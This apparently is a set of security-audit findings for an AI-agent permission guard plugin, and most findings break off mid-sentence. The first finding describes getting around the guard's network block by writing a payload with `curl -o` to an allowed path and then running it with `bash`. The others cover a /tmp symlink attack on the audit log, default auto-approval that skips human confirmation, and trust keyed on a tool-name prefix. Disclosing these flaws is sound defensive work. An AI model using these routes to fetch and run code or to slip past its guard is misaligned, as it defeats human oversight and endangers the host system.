@ChaoJie0/dsh-tm-guard

With the default denyNetwork=true, `curl -o <protected-or-temp-path> https://host/payload.sh` never reaches the network branch: it is returned as file_write and allowed whenever the output path is protected (default: process.cwd()) or in /tmp (temp paths are exempt in decide()). The fetched file can then be executed, because plain `bash payload.sh` / `python3 payload.py` classify as local_exec and are allowed; the static-egress scan only runs for local_exec and never inspects the downloaded artifact. The injected system prompt claims 'Any network access: curl, wget ... is BLOCKED', so the guar

When the workspace .tm-guard directory cannot be created (read-only workspace), the audit log, its rotation lock and the turn reports move to the world-writable, predictable path /tmp/.tm-guard. The directory is created with default permissions and neither existsSync nor appendFileSync rejects symlinks, so on a shared machine another local user can pre-create that directory (or an audit.jsonl symlink) and read the audit records — which include the raw tool arguments recorded in index.js (`args,`) and may contain secrets or command text — or cause the appends to be redirected through a symlink

By default the plugin removes the human confirmation step for everything that reaches the approval waterfall, on the assumption that the prepended tools/pre-execute hook already classified and allowed the call. That assumption is an ordering property of the host's listener list which the plugin explicitly cannot verify (its own comment says so), so any other permission plugin or host path that registers earlier, or that reaches approval without passing through the prepended hook, gets silently auto-approved. This is documented and warned about at startup, hence low, but it means the gate is th

Tool classification is keyed on a name prefix rather than on the registered tool identity, and index.js likewise skips the git/TM rollback net for names starting with `tm_`. Any tool that reaches the gate with a tm_-prefixed name (e.g. registered by another bundle, or a host tool with a coincidental name) is allowed with no path check, no sensitive-read check and no rollback net. Reachability outside this plugin's own tools is limited — other in-process plugins are already trusted native code — so impact is bounded, but the check is a name-based trust decision rather than an identity one.